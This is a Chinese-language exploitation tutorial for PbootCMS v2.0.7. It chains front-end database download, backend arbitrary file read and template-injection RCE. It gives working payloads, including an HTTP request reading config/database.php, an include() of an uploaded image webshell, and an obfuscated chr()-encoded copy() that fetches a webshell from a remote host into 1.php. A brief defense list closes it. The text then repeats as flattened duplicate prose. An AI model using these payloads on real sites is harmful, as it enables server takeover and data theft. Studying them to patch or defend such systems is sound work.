PbootCMS v2.0.7从前台数据库下载到后台RCE研究
字数 1138 2025-08-25 22:58:34

PbootCMS v2.0.7 漏洞分析与利用教学文档

1. 漏洞概述

PbootCMS v2.0.7 存在多个安全漏洞,包括:

  1. 前台数据库下载漏洞
  2. 后台任意文件读取漏洞
  3. 后台模板注入导致的远程代码执行漏洞

2. 环境要求

  • Apache 2.4.39
  • PHP 7.3.8
  • 默认使用SQLite数据库

3. 数据库配置分析

默认数据库配置文件位于 config/database.php

return array (
  'database' => array (
    'type' => 'sqlite',
    'host' => '127.0.0.1',
    'user' => 'pboot',
    'passwd' => '123456',
    'port' => '3306',
    'dbname' => '/data/pbootcms.db'
  )
);

关键点

  • 默认数据库路径为 /data/pbootcms.db
  • data目录没有访问限制,可直接下载
  • 密码哈希格式为 md5(md5($pass))

4. 任意文件读取漏洞

漏洞位置

apps/admin/controller/system/UpgradeController.php 中的 update() 方法

漏洞分析

  1. 通过POST参数list传入文件路径
  2. 如果路径包含/script/,则直接读取文件内容
  3. 读取内容被当作SQL语句执行,但会因语法错误显示文件内容

利用方法

Windows环境

POST /admin.php?p=/Upgrade/update HTTP/1.1
Content-Type: application/x-www-form-urlencoded

list=/script/config/database.php

Linux环境
需要找到一个系统或程序自带的/script/目录

5. 模板注入漏洞

漏洞位置

apps/home/controller/ParserController.php 中的 parserIfLabel() 方法

漏洞分析

  1. 模板引擎解析{pboot:if}标签
  2. 使用eval()执行条件语句
  3. 虽然有以下过滤:
    • 检查函数是否存在(function_exists)
    • 过滤危险字符串(如$_GETeval等)
  4. 但可以通过特殊构造绕过

绕过技巧

  1. 使用include()等非函数关键字
  2. PHP 7.2+特性:不带引号的字符串会被当作自身字符串
  3. 利用预定义常量:
    • __FILE__ 获取当前文件路径
    • PAGE 常量(来自分页类,可通过page参数控制)

利用步骤

方法一:包含图片马

  1. 上传图片马,路径如:static/upload/image/20200417/1587111957160139.png
  2. 构造Payload:
include(s.tatic.array(__FILE__)[0][0].upload.array(__FILE__)[0][0].image.array(__FILE__)[0][0].array(PAGE)[0][2].array(PAGE)[0][0].array(PAGE)[0][2].array(PAGE)[0][0].array(PAGE)[0][0].array(PAGE)[0][4].array(PAGE)[0][1].array(PAGE)[0][7].png)
  1. 将Payload插入模板(如公司信息)
  2. 访问带有分页功能的前台页面触发

方法二:远程下载Webshell(通用方法)

  1. 构造Payload使用copy()函数:
copy(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(109).chr(111).chr(99).chr(107).chr(46).chr(120).chr(46).chr(100).chr(110).chr(115).chr(104).chr(105).chr(97).chr(46).chr(99).chr(110).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108),1.php)
  1. 将Payload插入模板
  2. 访问触发点,从远程下载Webshell到1.php

6. 防御建议

  1. 限制数据库文件访问权限
  2. 对文件读取功能进行严格路径校验
  3. 替换模板引擎中的eval()为更安全的解析方式
  4. 更新到最新版本

7. 参考链接

PbootCMS v2.0.7 漏洞分析与利用教学文档 1. 漏洞概述 PbootCMS v2.0.7 存在多个安全漏洞,包括: 前台数据库下载漏洞 后台任意文件读取漏洞 后台模板注入导致的远程代码执行漏洞 2. 环境要求 Apache 2.4.39 PHP 7.3.8 默认使用SQLite数据库 3. 数据库配置分析 默认数据库配置文件位于 config/database.php : 关键点 : 默认数据库路径为 /data/pbootcms.db data目录没有访问限制,可直接下载 密码哈希格式为 md5(md5($pass)) 4. 任意文件读取漏洞 漏洞位置 apps/admin/controller/system/UpgradeController.php 中的 update() 方法 漏洞分析 通过POST参数 list 传入文件路径 如果路径包含 /script/ ,则直接读取文件内容 读取内容被当作SQL语句执行,但会因语法错误显示文件内容 利用方法 Windows环境 : Linux环境 : 需要找到一个系统或程序自带的 /script/ 目录 5. 模板注入漏洞 漏洞位置 apps/home/controller/ParserController.php 中的 parserIfLabel() 方法 漏洞分析 模板引擎解析 {pboot:if} 标签 使用 eval() 执行条件语句 虽然有以下过滤: 检查函数是否存在( function_exists ) 过滤危险字符串(如 $_GET 、 eval 等) 但可以通过特殊构造绕过 绕过技巧 使用 include() 等非函数关键字 PHP 7.2+特性:不带引号的字符串会被当作自身字符串 利用预定义常量: __FILE__ 获取当前文件路径 PAGE 常量(来自分页类,可通过 page 参数控制) 利用步骤 方法一:包含图片马 上传图片马,路径如: static/upload/image/20200417/1587111957160139.png 构造Payload: 将Payload插入模板(如公司信息) 访问带有分页功能的前台页面触发 方法二:远程下载Webshell(通用方法) 构造Payload使用 copy() 函数: 将Payload插入模板 访问触发点,从远程下载Webshell到 1.php 6. 防御建议 限制数据库文件访问权限 对文件读取功能进行严格路径校验 替换模板引擎中的 eval() 为更安全的解析方式 更新到最新版本 7. 参考链接 原始漏洞分析文章: PbootCMS v2.0.7从前台数据库下载到后台RCE研究